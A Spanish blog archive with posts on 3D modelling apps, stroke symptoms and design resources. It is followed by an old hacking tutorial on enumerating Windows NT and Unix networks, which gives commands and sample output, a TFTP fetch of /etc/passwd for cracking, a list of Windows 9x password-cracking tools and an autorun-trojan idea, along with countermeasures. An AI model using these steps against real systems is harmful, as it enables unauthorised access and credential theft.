lunes, 25 de noviembre de 2013

Apps para el Diseño 3D

Hola, aca publicaremos un par de apps para la moderacion y el diseño de 3D...

Quienes están buscando apliaciones para modelado 3D móviles encontrarán una buena alternativa en Spacedraw. Es raro encontrar software ideal para este tipo de dispositivos, dado que muchas veces nos encontramos frente a una pantalla limitada, y un espacio de trabajo un tanto escueto. Muchas de las aplicaciones para Android y para iOS nos permiten visualizar diseños, pero no crearlos. Esta es una de las diferencias fundamentales con Spacedraw, para Android, que permite crear nuestros diseños desde la pantalla del móvil o desde la tableta.

XSI Mod Tool

Como bien indica su nombre, esta aplicación está más orientada a los modders y a los desarrolladores de videojuegos. Su valor más destacado es que cuenta con muchas funcionalidades para ser una herramienta gratuita. De hecho, esta “Mod Tool” es una herramienta sin costo derivada del software profesional XSI, que solamente puede ser realizada para juegos sin aspiraciones comerciales. Cuenta con soporte para la gran mayoría de los motores de juegos, y también tiene soporte para los juegos basados en Flash.

TopMod3D

Hasta ahora nos venimos dedicando a las aplicaciones gratuitas, y en este sentido, TopMod3D no cuenta con demasiadas variaciones. Es muy similar a la Mod Tool de XSI, con la diferencia fundamental de –además de ser gratuia y open source- es portable. Los usuarios pueden llevar la app dentro de un pendrive y también pueden tenerla almacenada en algún servicio en la nube, para usarla siempre que sea necesaria. En este caso, TopMod3D puede ser usada además por fuera de la industria de los videojuegos, fundamentalmente para el prototipado rápido (uno de los principales usos de la impresión 3D en estos momentos).

Anim8or

Dentro de las aplicaciones para modelado 3D, algunas están específicamente diseñadas para el desarrollo de personajes. Anim8or entra dentro de esta categoría. Ideal para el modelado de personajes, permite crear y modificar modelos 3D a partir de formas básicas como cilindros, y trabajar desde ahí para cerrar personajes y prototipos. Quizás tiene un nivel de complejidad un poco más avanzado, pero tiene una especificidad ausente de otras herramientas.

BRL-CAD

También Open Source, BRL-CAD está orientada a la construcción en tres dimensiones de modelos geométricos. Tiene una aplicación más científica para el análisis de las formas.

3D Plus

Para los usuarios con menos experiencia en el área de las aplicaciones para modelado 3D, una buena alternativa puede ser 3DPlus. Nos permite crear diseños en tres dimensiones en apenas algunos minutos, sin tener demasiado conocimiento. Considerando que es una tecnología que se hará más habitual con el correr del tiempo, es bueno ir familiarizándose. Es una buena puerta de entrada si queremos aplicarlo a los negocios, la escuela o simplemente para aprender.

3D Canvas

3D Canvas es una aplicación para el modelado 3D en tiempo real. Además, se completa con una herramienta para animación. Como sucede con 3D Plus, en este caso nos encontramos con una utilidad orientada a los principiantes, que no tienen tanta experiencia. Con una metodología de trabajo que usa drag and drop, el usuario puede modelar a partir de figuras geométricas preexistentes, experimentando hasta obtener el conocimiento necesario.

Autodesk 123D

Hace algunos meses, JJ habló un poco sobre una aplicación móvil llamada Autodesk 123D Creature, ideal para el desarrollo de personajes. Autodesk es una compañía dedicada al diseño, responsable del conocido producto Autocad. En el caso de Autodesk 123D, nos encontramos con una herramienta de modelado 3D muy sencilla de usar. Además, tiene plugins muy interesantes como Catch, que permite crear modelos 3D a partir de fotografías.

FreeCAD

Finalmente, cerramos nuestra lista de aplicaciones para modelado 3D con FreeCAD. Se trata de una herramienta muy sencilla, con capacidades avanzadas de Motion Simulation (animación). También es una buena herramienta para el aprendizaje con aplicaciones 3D Cad y de animación, fundamental para estudiantes.

FUENTE

jueves, 31 de octubre de 2013

ACV

Accidente cerebrovascular

Se produce un accidente cerebrovascular (ACV) cuando el suministro sanguíneo a parte del cerebro se bloquea repentinamente o cuando un vaso sanguíneo del cerebro se rompe, derramando sangre en los espacios que rodean las células del cerebro. De la misma manera que se dice que una persona que sufre una pérdida del flujo sanguíneo al corazón tiene un ataque cardiaco, se dice que una persona que sufre una pérdida del flujo sanguíneo al cerebro o un sangrado repentino en el cerebro tiene un "ataque cerebral".
La parálisis es una característica común de los accidentes cerebrovasculares, con frecuencia de un lado del cuerpo (hemiplejia). La parálisis o debilidad puede afectar sólo la cara, un brazo o una pierna, o puede afectar todo un lado del cuerpo y de la cara.
Una persona que sufre un ACV en el hemisferio izquierdo del cerebro mostrará parálisis o paresia del lado derecho. A la inversa, una persona que sufre un ACV en el hemisferio derecho del cerebro mostrará parálisis o paresia del lado izquierdo.Isquemia es el término que se usa para describir la falta de oxígeno y nutrientes para las células del cerebro cuando hay un flujo sanguíneo inadecuado. La isquemia en última instancia causa un infarto, la muerte de células cerebrales, que finalmente son reemplazadas por una cavidad llena de líquido (o infarto) en el cerebro lesionado.
Cuando se interrumpe el flujo de sangre al cerebro, algunas células cerebrales mueren de inmediato y otras quedan en riesgo de muerte. Las células dañadas se pueden salvar con una intervención farmacológica temprana. Los investigadores han descubierto que se puede lograr restaurar el flujo sanguíneo a estas células administrando el agente para disolver coágulos activador tisular plasminógeno (t-PA) dentro de las 3 horas posteriores al inicio del ACV. Se están probando muchos fármacos neuroprotectores para evitar la ola de daños posterior al ataque inicial.
El ACV siempre se ha considerado imprevisible e intratable. Sumada a este fatalismo existía la creencia errónea de que el ACV sólo se presenta en personas mayores y, por lo tanto, no es motivo de preocupación.
Como resultado de estas concepciones erróneas, el paciente con ACV promedio espera más de 12 horas para llegar a una sala de emergencia. Los prestadores de atención médica tienen una actitud de "espera vigilante" en lugar de tratar al ACV como una emergencia médica.
Con el uso del término "ataque cerebral", el accidente cerebrovascular tiene un nombre definitivo y descriptivo. La respuesta adecuada a un ataque cerebral es la acción de emergencia, tanto por parte de la persona afectada como de la comunidad médica. Es crucial educar al público para tratar al ACV como un ataque cerebral y para solicitar tratamiento de emergencia porque cada minuto que se pierde, desde el inicio de los síntomas hasta el momento del contacto con la atención de emergencia, achica la limitada ventana de oportunidad para la intervención.
Síntomas
Los síntomas de un accidente cerebrovascular son fáciles de detectar: entumecimiento o debilidad repentinos, especialmente de un lado del cuerpo, repentina confusión o dificultad para hablar o para comprender lo que se habla, problema repentino para ver con uno o ambos ojos, dificultad repentina para caminar, mareo o pérdida de equilibrio o de coordinación, dolor de cabeza grave y repentino sin causa conocida. Un ACV habitualmente se puede diferenciar de otras causas de mareos o de dolor de cabeza. Estos síntomas pueden indicar que se ha producido un accidente cerebrovascular y que se necesita atención médica inmediata.
Factores de riesgo
Los factores de riesgo más importantes para el ACV son la hipertensión, la enfermedad cardiaca, la diabetes y el hábito de fumar. Otros incluyen el gran consumo de alcohol, niveles altos de colesterol en sangre, uso de drogas ilegales y condiciones genéticas o congénitas, particularmente anomalías vasculares.
Recuperación temprana
De maneras que no se comprenden claramente, el cerebro compensa el daño causado por el accidente cerebrovascular o ataque cerebral. Algunas células del cerebro pueden estar dañadas sólo temporalmente, no muertas, y pueden reanudar su funcionamiento. En algunos casos, el cerebro puede reorganizar su propio funcionamiento. A veces, una región cerebral se hace cargo de otra dañada por el ACV. Las personas que sobreviven a un ACV experimentan a veces recuperaciones llamativas e imprevistas que resultan inexplicables.
Las pautas generales de recuperación muestran:
    * 10 por ciento de los sobrevivientes a un ACV se recuperan casi por completo
    * 25 por ciento se recuperan con alteraciones menores
    * 40 por ciento sufren alteraciones moderadas a severas que requieren cuidados especiales
    * 10 por ciento requiere cuidados en alguna institución para recibir atención a largo plazo
    * 15 por ciento mueren poco después del ACV
Rehabilitación
La rehabilitación comienza en el hospital lo antes posible después del ACV. En pacientes estables, la rehabilitación puede comenzar dentro de los dos días posteriores al ACV y debe continuar el tiempo necesario después del alta hospitalaria. Las opciones de rehabilitación pueden incluir la unidad de rehabilitación de un hospital, una unidad de cuidados para subagudos, un hospital de rehabilitación, terapia domiciliaria, atención ambulatoria o cuidados a largo plazo en una institución adecuada.
El objetivo de la rehabilitación es mejorar la función a fin de que la persona que sobrevive a un ACV pueda ser lo más independiente posible. Esto se debe lograr de una manera que preserve la dignidad mientras se motiva al paciente a volver a aprender las habilidades básicas que afectó el ataque, como comer, vestirse y caminar.
Aunque el ACV es una enfermedad del cerebro, puede afectar a todo el cuerpo. Algunas de las discapacidades que pueden producirse por un ACV incluyen parálisis, deficiencias cognitivas, problemas de habla, dificultades emocionales, problemas con la vida diaria y dolor.
El ACV puede causar problemas con el pensamiento, la conciencia, la atención, el aprendizaje, el juicio y la memoria. Un paciente con ACV puede no ser conciente de lo que lo rodea o no estar conciente de las deficiencias mentales que produjo el ACV.
Las víctimas de accidentes cerebrovasculares tienen a menudo problemas para comprender o emitir el habla. Los problemas de lenguaje habitualmente se producen por el daño en los lóbulos temporal y parietal izquierdos del cerebro.
Un ACV puede acarrear problemas emocionales. Los pacientes con accidentes cerebrovasculares pueden tener dificultad para controlar sus emociones, o pueden expresar emociones inadecuadas en determinadas situaciones. Una discapacidad común que se produce con muchos pacientes con ACV es la depresión, que es más que una tristeza general resultante del incidente del accidente cerebrovascular.
Los pacientes con ACV pueden sufrir dolor, entumecimiento incómodo o sensaciones extrañas después del ataque. Estas sensaciones se pueden deber a muchos factores, incluso daños en las regiones sensorias del cerebro, rigidez en las articulaciones o la discapacidad de un miembro.
De acuerdo con la Asociación Nacional de ACV (National Stroke Association), el costo total de los accidentes cerebrovasculares para los Estados Unidos es de unos 43 mil millones de dólares al año, con costos directos por terapia y atención médica calculados en unos 28 mil millones de dólares al año.

Fuentes: Asociación Nacional de ACV (National Stroke Association), Instituto Nacional de Trastornos Neurológicos y Accidentes Cerebrovasculares (National Institute on Neurological Disorders and Stroke)

sábado, 26 de octubre de 2013

Sitios Web para alternativos a diseño

Hola, como ya saben el diseño se torna muy difícil, así que aquí paginas para ver recursos para ello:

PremiumPixels

PremiumPixeles es un sitio creado por Orman Clark, en el cual comparte recursos de diseño de su autoría de manera gratuita. El sitio surgió porque un día Orman buscaba en la red un pincel para Photoshop con un estilo muy especifico, la búsqueda fracasó y al final terminó haciéndolo en mismo, decidió compartirlo en la web y desde entonces hace lo mismo con una enorme cantidad de sus trabajos. Su eslogan: "Cosas gratis para gente creativa".

En PremiumPixeles podemos encontrar iconos, kits de interfaces web, montones de PSDs, patrones, texturas, botones, y una gran variedad de mock ups, todos gratuitos y libres de usar para proyectos personales y comerciales sin necesidad de atribución, aunque dar crédito siempre es apreciado.

Subtle Patterns

Subtle Patterns es un sitio creado y curado por Atle Mo, el cual se dedica a compartir de manera gratuita patrones con diferentes texturas de gran calidad. Subtle Patterns fue como una manera de devolver algo a la comunidad de diseño, como agradecimiento por los recursos que se comparten en la web y que Mo ha usado por muchos años para sus propios trabajos.

Todos los patrones están disponibles para su descarga gratuita, en el sitio puedes obtener una vista previa de como lucen, y el archivo de descarga contiene 2 imágenes en formato PNG. La galería es bastante grande, y se añaden nuevos patrones constantemente.

Los patrones disponibles en Subtle Patterns pueden ser usados en cualquier proyecto, ya sea comercial o personal siempre que des crédito al sitio. Desde que apareció, se ha hecho muy popular y ahora cuentan con un par de recursos premium como su propio plugin para Photoshop.

365psd

365psd es un sitio que ya tiene unos cuantos años en linea, lo conocí durante su primer año y me pareció fenomenal, desde entonces han surgido muchos sitios similares. Lo que hace especial a 365psd es que se comparte un recurso en PSD todos los días, durante los 365 días del año. Al finalizar un ciclo, los 365 recursos están disponibles para descargar en un paquete si pagas una pequeña suma. Sino, siempre puedes navegar por el sitio y descargar gratuitamente todos los PSD que desees.

Además de contar con una galería bastante significativa, que ha ido creciendo en los últimos 4 años, en 365psd os recursos son de gran calidad y también sirven de inspiración. Puedes encontrar, botones, logos, interfaces,widgets, etc. Ya que el sitio es colaborativo, los recursos provienen de diferentes autores, así que los términos de uso son individuales y deberás revisarlos al descargar cada archivo.

Pixeden

Pixeden es un sitio web lleno de recursos gráficos para diseñadores, su galería cuenta con cientos de diseños, y aunque la mayoría son premium, si creas una cuenta free puedes acceder una buena cantidad de descargas gratuitas.

En Pixeden hay recursos de todos tipos: iconos, vectores, plantillas web, archivos PSD, tarjetas de presentación, elementos web HTML y CSS, imprimibles, volantes, texturas, tutoriales y todo lo que se te pueda ocurrir relacionado con el diseño gráfico y web. El acceso completo a todos los recursos cuesta 6$ al mes, los cuales por supuesto podrás usar para proyectos tanto personales como comerciales.

Dribbble

Dribbble es una de las comunidades de diseñadores mas grandes del mundo en la actualidad. Apenas creado en 2009, Dribbble se ha hecho increíblemente popular entre los diseñadores, para muchos es el sitio al que ir cuando se quieren compartir trabajos y buscar feedback de otros diseñadores talentosos.

Es sumamente difícil encontrar en Dribbble un trabajo de poca calidad, sus usuarios comparten muchas cualidades entre las cuales el talento y el buen gusto premian sobre todo lo demás. En Dribbble no hay cientos, ni miles, ni millones de diseños, hay miles de millones. Su impresionante y gigantesca comunidad, es el sitio ideal para encontrar inspiración, para compartir tus trabajos y crearte un portafolio personal, y obtener retroalimentación de otros artistas.

Además, muchos diseñadores comparten sus recursos para que puedan ser usados por otros, así que Dribbble es también un sitio donde buscar uno que otro objeto para usar de manera gratuita.

FUENTE

sábado, 16 de marzo de 2013

Haking Linux #2

Tercer paso: Enumeration (Enumeraci�n de servicios de la red)

Este paso consiste en investigar al detalle los servicios brindados por la red y recursos compartidos, con el fin de identificar vulnerabilidades conocidas para el paso de penetraci�n del sistema.
Las vulnerabilidades son dependientes de cada versi�n del servicio en cuesti�n, y obviamente del sistema operativo sobre el cual corre dicho servicio, por lo cual dividir� este apunte en dos secciones para cubrir las plataformas m�s comunes: Windows NT 4 por un lado, y UNIX/Linux por el otro.

Windows NT
NOTA: Para poder realizar adecuadamente la enumeraci�n de servicios de Windows NT es altamente recomendable obtener el CD "NT Resource Kit" (NTRK) de Microsoft, que contiene muchas herramientas que permiten el an�lisis remoto de aplicaciones v�a red.

El primer paso en la enumeraci�n de una red NT es el conocido comando 'net view':

C:\net view /domain

Domain

-----------------------------------------------------------------------
AH
AHPTLI-M001
BT
CG_D01_ARBA
CSRVFRANCE
CSRVIT
   � etc � etc �

Con lo cual se obtienen los nombres de los dominios.
Para obtener los datos de los miembros del dominio utilizaremos nuevamente net view con la opci�n 'domain':

C:\net view /domain:CSRVIT

Server Name Remark

-----------------------------------------------------------------------
\\RASNOVAR13E CompuServe NT Link Server
The command completed successfully.

Para conocer cu�les son los DC (Domain Controllers) del dominio necesitamos de uno de los comandos del NTRK: nltest.

C:\nltest /dclist:STDOMAIN
List of Dcs in Domain STDOMAIN
\\HILIST (PDC)
\\LEIA
\\GOONIE

The command completed successfully

Para poder continuar con la enumeraci�n necesitamos que la m�quina est� mal configurada para permitir la conexi�n null, o an�nima. Si el NT est� con la configuraci�n por defecto seguramente estar� activa y podremos obtener m�s datos con nltest usando las siguientes sintaxis:

   nltest /server:<server_name>
   nltest /trusted_domains

Para m�s datos ver la documentaci�n de nltest en el NTRK.

El siguiente paso es la enumeraci�n de shares NetBIOS, que podemos intentar visualizar (nuevamente) con net view:

C:\net view \\GOONIE

Shared resources at \\209.217.24.12

GOONIE

Share name   Type      Used as   Comment

---------------------------------------------------------
NETLOGON   Disk            Logon server share
Test      Disk            Public access
The command completed successfully.

Otras herramientas disponibles en el NTRK para la enumeraci�n de shares son:

   rmtshare
   srvcheck
   srvinfo -s

Consultar la documentaci�n del NTRK para ver el uso de las mismas.

Saliendo del NTRK, existe una excelente (y muy completa) herramienta que ermiteentre otras cosas la enumeraci�n de shares, llamada DumpACL, de Somarsoft (actualmente ha sido renombrada como DumpSec, se encuentra en http://www.somarsoft.com).

Con las herramientas anteriores podemos enumerar shares de a una m�quina por vez, si lo que deseamos es escanear toda una subred existe la herramienta Legion, disponible en varios repositorios de herramientas de hacking en Internet (entre otros en http://www.splitsecond.com).

Por �ltimo mencionaremos la herramienta NetBIOS Auditing Tool (NAT) para consola, por Andrew Tridgell, y la interface gr�fica para la misma, por la gente de Rhino9, tambi�n disponibles en sites de hacking (buscar con Astalavista).

Otras herramientas para obtener otros datos de redes NT son:
-   epdump (http://www.ntshop.net/security/tools/def.htm) que obtiene datos del RPC portmapper
-   getmac y netdom del NTRK, la primera obtiene la MAC address remota y la segunda muestra los BDCs (Backup Domain Controllers) entre otras cosas.

Por �ltimo netviewx (http://www.ibt.ku.dk/jesper/NTtools/) que permite enumerar todav�a m�s informaci�n. En esta p�gina pueden obtenerse otras herramientas �tiles.

Contramedidas:

La mejor forma de evitar que se filtre toda la informaci�n arriba mencionada es filtrar todo el tr�fico UDP y TCP en los puertos 135 a 139 en el per�metro de la LAN, con lo cual efectivamente evitamos que las m�quinas Windows puedan ser contactadas con los mecanismos est�ndar de este sistema operativo.
En el caso de conectar NT directo a Internet desactivar los bindings de NetBIOS a las interfaces.
Parchar la vulnerabilidad que permite null session.

Enumeraci�n de grupos y usuarios en NT

Con la herramienta nbtstat podemos enumerar datos sobre los usuarios de un NT:

C:\nbtstat -A 204.16.2.8
   NetBIOS Remote Machine Name Table
Name         Type      Status
-----------------------------------------------------------
ALEPH         <20>   UNIQUE   Registered
TESTER      <00>   UNIQUE   Registered
GOONIES      <00>   GROUP      Registered
TECNICO      <03>   UNIQUE   Registered
LUIS         <1D>   UNIQUE   Registered
ADMINISTRATOR   <03>   UNIQUE   Registered
..__MSBROWSE__..   <01>   GROUP      Registered

MAC Address = 00-C0-4F-86-80-05

Esto nos muestra la tabla de nombres NetBIOS de la m�quina, con el nombre del sistema (ALEPH), el dominio (LUIS) y cualquier ID de los usuarios logueados (en este caso ADMINISTRATOR y TECNICO).
Hint: para entender mejor la salida de nbtstat consultar "Using Samba".

Existen otras herramientas del NTRK que sirven para enumerar usuarios y grupos, tales como usrstat, showgrps, local y global. Asimismo puede usarse la herramienta DumpACL ya mencionada, pero en su versi�n de consola, como puede verse en el siguiente ejemplo:

C:\dumpacl /computer=204.16.22.23 /rpt=usersonly
   /saveas=tsv /outfile=c:\temp\users.txt

C:\cat c:\temp\users.txt
4/3/99 8:15 PM - Somarsoft DumpAcl - \\204.16.22.23
UserName   FullName         Comment
luis      Luis Castro
jorge      Jorge L�pez      QC Control
carlos   Carlos Rucco      Gerente Marketing

La primer l�nea de comando aparece separada en dos renglones por una cuesti�n de espacio, al tipearla hacerlo en una sola l�nea.

Dos herramientas sumamente poderosas en la enumeraci�n de NT son sid2user y user2sid por Evgenii Rudnyi (http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt) que permiten convertir un SID (security identifier) a nombre de usuario y viceversa.

C:\user2sid \\192.168.202.33 "domain users"

S-1-5-21-8915387-1645822062-1819828000-513

Number of subauthorities is 5
Domain is WINDOWSNT
Length of SID in memory is 28 bytes
Type of SIS is SidTypeGroup

Esto nos cuenta el SID de la m�quina (el Nessus ya mencionado nos muestra el SID de la m�quina si est� mal configurada). Partiendo del SID de la m�quina podemos averiguar el user ID de las cuentas tomando en cuenta que el �ltimo n�mero (513) es el RID (relative identifier), y tomando como base que las cuentas se cargan a partir del RID 500, correspondiente al Administrator, el Guest es 501, etc.

Para hacer esto usaremos sid2user:

C:\sid2user \\192.168.202.33 5 21 8915387 1645822062 18198280005 500

Name is admin
Domain is WINDOWSNT
Type of SID is SidTypeUser

N�tese que hay que omitir S-1 y los guiones. Siempre la primer cuenta de usuario creada en un NT tiene RID 1000 y sigue a partir de all� en forma consecutiva.
Sabiendo esto y con un poco de tiempo y paciencia pueden enumerarse todos los usuarios de una m�quina NT.

Estas herramientas funcionan a�n cuando se active RestrictAnonymous para evitar las null sessions, en tanto que se pueda acceder el puerto 139. Inclusive han sido testeadas sobre Windows 2000 y funcionan

SNMP

Simple Network Management Protocol es una excelente fuente de informaci�n si los sistemas NT tienen activo el SNMP Agent y no se tom� la precauci�n de cambiar los default community names (public, private, etc.).

Una de las herramientas de enumeraci�n es snmputil del NTRK (ver la documentaci�n que la acompa�a), pero por sobre todo SolarWinds 2000 (www.solarwinds.net), que con la herramienta IP Browser (que puede bajarse independientemente del resto del paquete) permite obtener literalmente toneladas de informaci�n v�a SNMP. La versi�n full de SolarWinds 2000 inclusive tiene un SNMP Brute Force que permite adivinar los community names con m�todos similares a los utilizados por los password crackers (diccionario).

Contramedidas:
Desactivar el agente SNMP en Windows NT.
Cambiar los community names por default.
En caso de necesitar usar SNMP bloquear el tr�fico TCP y UDP a los puertos 161 y 162 en el per�metro de la red.
Chequear la red con herramientas como SolarWinds 2000 para detectar posibles vulnerabilidades.

Enumeraci�n de aplicaciones y banners

M�s informaci�n puede obtener haciendo telnet a los distintos servicios activos y presionando un par de ENTERs.

Por ejemplo:

telnet www.testNT.com 80
HTTP/1.0 400 Bad Request
Server: Netscape-Commerce/1.12

Your browser sent a non-HTTP compliant message.

Otra herramienta a utilizar es el NetCat (nc). Existe una versi�n de NetCat para NT adem�s de la de Linux en http://www.l0pht.com/~weld/netcat/index.html.
El NetCat de Linux viene incluido en Red Hat, es el comando nc.

C:\nc -v www.testNT2.com 80
www.testNT2.com [192.168.45.7] 80 (?) open

En este punto establecimos una raw connection. Enviando informaci�n (un par de ENTERs) podemos obtener alg�n dato:

HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/4.0
Date: Sat, 26 Ago 2000 08:42:40 GMT
Content-Type: text/html
Content-Length: 87

<html><head><title>Error</title></head><body>The parameter is incorrrect. </body></html>

Alimentando la raw connection con algo m�s significativo que un par de ENTERs pueden obtenerse otros resultados, s�lo es necesario escribir lo que queremos enviar en un archivo de texto y d�rselo como input al NetCat.

Entre las �ltimas herramientas a mencionar, tenemos regdump del NTRK, que nos permitir� intentar acceder en forma remota a la registry (usualmente esta funcionalidad est� limitada al usuario Administrator, pero no se pierde nada con probar):

C:\regdump -m \\192.168.202.33 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SystemTray = SysTray.Exe
BrowserWebCheck = loadwc.exe

La primer l�nea aparece en dos renglones por una cuesti�n de espacio, debe tipearse todo en una sola l�nea (se intenta visualizar ese registro en particular).

DumpACL, ya mencionada, tambi�n tiene la funcionalidad de intentar acceso remoto a la registry.

Contramedidas:
Inhabilitar los banners de las aplicaciones que deban brindarse. Usualmente la documentaci�n de cada una indica c�mo hacerlo. Chequearlas con NetCat y/o telnet.
Chequear que el acceso remoto a la registry est� limitado al administrador, de ser necesario aplicar parches de Microsoft.
Utilizar activamente herramientas tales como DumpACL para chequear la propia seguridad.

UNIX / Linux

Los 3 puntos de entrada para enumeraci�n de recursos en sistemas *nix son el RPC portmapper, NIS y NFS.

En primer lugar, para chequear si existe un NFS mal configurado que permite acceso irrestricto a un directorio compartido podemos utilizar la herramienta showmount (viene con Linux):

[root@linux11 /root]# showmount -e 10.0.0.10
Export list for 10.0.0.10:
/mnt/cdrom (everyone)

El flag '-e' permite listar la lista de exports del sistema remoto.
El verdadero riesgo es que alguien haya compartido directorios tales como '/' o '/usr', donde existe la posibilidad de acceso a informaci�n importante del sistema, e inclusive de comprometer SERIAMENTE la seguridad si existen archivos con permiso de escritura para 'other'.

Actualmente se pueden intentar visualizar shares compartidos mediante Samba, que est� creciendo en popularidad como mecanismo para compartir recursos en redes mixtas.
Esto puede hacerse con el Network Neighborhood de Windows, o con el comando smbclient en Linux, como se ve a continuaci�n:

[root@linux11 /root]# smbclient -L 10.0.0.10
added interface ip=10.0.0.11 bcast=10.0.0.255 nmask=255.255.255.0
Password:
Anonymous login successful
Domain=[MIXNET] OS=[Unix] Server=[Samba 2.0.3]

Sharename Type Comment
--------- ---- -------
Qassure Disk
IPC$ IPC IPC Service (Samba Server)

Server Comment
--------- -------
LINUX10 Samba Server

Workgroup Master
--------- -------
MIXNET LINUX10

El siguiente paso ser�a intentar conectarse con smbclient, que nos brindar� la conocida interface estilo ftp, y ver qu� puede encontrarse en el sistema.
Las implicaciones de seguridad de un Samba mal configurado son similares a aquellas de NFS mal configurado.

NIS (Network Information Service) es un mecanismo multifuncional que permite entre otras cosas centralizar los logins de una red Linux en un servidor maestro (adem�s permite tener servidores esclavos).
NIS utiliza para casi todas sus funciones y la comunicaci�n entre los clientes y el server un nombre de dominio NIS, que debe ser DIFERENTE del nombre de dominio de red, y debe mantenerse en estricto secreto, ya que conociendo el dominio NIS pueden enumerarse muchos datos del sistema remoto.
En el NIS-HOWTO explica claramente el caso y las implicaciones de seguridad, mencionaremos solamente que conociendo el nombre de dominio NIS podemos intentar setear un servidor NIS esclavo para copiarnos todas las bases de datos de usuarios y recursos, que luego consultaremos con ypcat, ypbind, y los otros comandos relacionados con NIS.
Esta es una de las principales fallas de los sistemas que utilizan NIS, los administradores no suelen hacer caso de la advertencia en el NIS-HOWTO y utilizan el mismo nombre del dominio de red.

El Sun RPM portmapper administra las conexiones de muchas aplicaciones, tales como NIS, NFS, algunas bases de datos, el mcserv (servidor de Midnight Commander) y otras.

Para averiguar datos sobre los servicios que est� administrando el RPC portmapper, usaremos el siguiente comando:

[root@linux11 HOWTO]# rpcinfo -p 10.0.0.10
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100024 1 udp 984 status
100024 1 tcp 986 status
100011 1 udp 995 rquotad
100011 2 udp 995 rquotad
100005 1 udp 1005 mountd
100005 1 tcp 1007 mountd
100005 2 udp 1010 mountd
100005 2 tcp 1012 mountd
100005 3 udp 1015 mountd
100005 3 tcp 1017 mountd
300516 2 tcp 3

Y podemos chequear doblemente la disponibilidad de un servicio con:

[root@linux11 HOWTO]# rpcinfo -t 10.0.0.10 100024
program 100024 version 1 ready and waiting

Ya que el portmapper nos puede indicar que en el sistema remoto corre NIS, las implicaciones de seguridad son importantes si el administrador no tuvo la precauci�n de utilizar un nombre de dominio NIS diferente al nombre de dominio de red.
Contramedidas:
Utilizar la �ltima versi�n de sendmail y chequear que est� configurada para no responder a los comandos VRFY y EXPN.
Si chequeamos una m�quina que tiene esta vulnerabilidad con el paquete Nessus ya mencionado inclusive nos dice qu� l�nea del /etc/sendmail.cf debemos modificar para que no responda a estos comandos.

Vale mencionar Trivial FTP (TFTP), que JAMAS (en serio!) deber�a estar activo en una m�quina conectada a Internet. NO UTILIZA AUTENTICACION, CUALQUIERA PUEDE USARLO. Si est� activo y mal configurado (usualmente solo deber�a permitir el acceso a /tftpboot), puede obtenerse el /etc/passwd con:

tftp 192.168.202.34
tftp> connect 192.168.202.34
tftp> get /etc/passwd /tmp/passwd.cracklater
tftp> quit

Contramedida:
No lo use

Enumeraci�n de aplicaciones y banners

Valen las mismas consideraciones que en NT respecto del uso de Telnet y NetCat, con el agregado de 'rpcinfo -p' ya mencionados y sus correspondientes contramedidas.

Tambi�n tomar en cuenta (nuevamente) los contenidos de las p�ginas HTML y el c�digo fuente de las mismas.

NOTAS: si se detectan puertos abiertos arriba del 32700, es muy probable que la m�quina est� corriendo Solaris, que tiene una copia (oculta?) del portmapper en el puerto 32771 que debe chequearse indicando el puerto:

rpcinfo -n 32771 -t host prognum

Obviamente es necesario conocer los n�meros con los cuales se registran los diferentes programas que utilizan el portmapper. Si bien esta informaci�n puede encontrarse por Internet o leyendo la documentaci�n de cada software, es medio pesado.
Existe una versi�n modificada del rpcinfo para poder realizar 'rpcinfo -p' al puerto 32771.

Consideraciones generales:
El recurso �ltimo para bloquear el acceso a toda la informaci�n que indicamos que puede enumerarse es una firewall adecuadamente configurada en el per�metro de la red. Sin embargo deben aplicarse todas las contramedidas posibles para la eventualidad de una violaci�n de seguridad en la firewall o el acceso a un server interno mediante un xploit, ya que una vez dentro no ser� necesario atravesar la firewall para realizar las tareas de enumeraci�n.

Cuarto paso: Penetrate (Penetraci�n al sistema)

Al fin lleg�, �no?

En este paso veremos cu�les son los mecanismos usuales de violaci�n de la seguridad de un sistema, en varias categor�as: vulnerabilidad por mala configuraci�n, errores de programas xploiteables, acceso local y acceso remoto, etc.
En el caso de los xploits, y como ya se mencion� en el paso 3: las vulnerabilidades son dependientes de cada versi�n del servicio en cuesti�n, y obviamente del sistema operativo sobre el cual corre dicho servicio.

Windows 9x
Aunque parezca mentira, los Windows 9x (en particular el 95) son relativamente seguros v�a red, ya que no brindan servicios (Win95 no brinda ninguno, y Win98 tiene un par solamente que vienen desactivados por defecto) y como dije anteriormente: no se puede violar la seguridad de un sistema cerrado. Uno debe limitarse a aprovechar shares mal configurados o a la instalaci�n de troyanos.
Una de las t�cnicas que puede utilizarse si descubrimos que existen carpetas compartidas es intentar un ataque por diccionario para averiguar el correspondiente password v�a red. La herramienta Legion ya mencionada tiene una �BF Tool� que es en realidad un ataque por diccionario.

Obviamente la situaci�n cambia radicalmente cuando estamos frente a la consola. Windows 9x ni siquiera tienen un mecanismo adecuado de autenticaci�n de usuarios (cualquier que haya configurado un Win9x para red sabe que en el prompt de identificaci�n de usuario se puede presionar "Cancel" e ingresamos igual). Algunas versiones viejas de Windows 95 inclusive permit�an utilizar CTRL-ALT-DEL o ALT-TAB para salir del screensaver con password!

La mayor�a de los passwords utilizados por Windows 9x, tanto de login que se almacenan en los archivos de "password list" *.pwl, como los del protector de pantalla que van a la registry, utilizan algoritmos de encriptaci�n francamente malos. Todos estos algoritmos ya han pasado por un proceso de ingenier�a inversa y existen desencriptadores para todos ellos. Si no se mencionan en los sites de hacking es porque realmente nadie se siente orgulloso de "hackear" un Windows 9x.

Dentro de las herramientas disponibles podemos mencionar las siguientes:

-   95sscrk (95 Screensaver Crack, http://users.aol.com/jpeschel/crack.htm), que baja el password del screensaver de la registry y lo crackea. Es �til porque muchos usuarios utilizan el mismo password para cualquier uso.
El screensaver incluso puede obviarse insertando un CD, ya que el mecanismo que autodetecta la inserci�n del CD y el autoarranque del mismo funciona a�n con el screensaver activo. Puede armarse un CD que autoejecute el c�digo que uno desee (troyanos, etc.).
-   Revelation (www.snadboy.com) permite mostrar el password oculto tras los asteriscos en todos aquellos casos donde el password fu� grabado y se muestra como asteriscos.
-   Unhide (www.webdon.com) tiene similares funciones.
-   pwltool, del mismo site, crackea los archivos .pwl
-   Dial-Up Ripper (dripper, se encuentra en repositorios de herramientas de hacking en Internet) permite crackear los passwords de las cuentas dialup que hayan grabado el password.

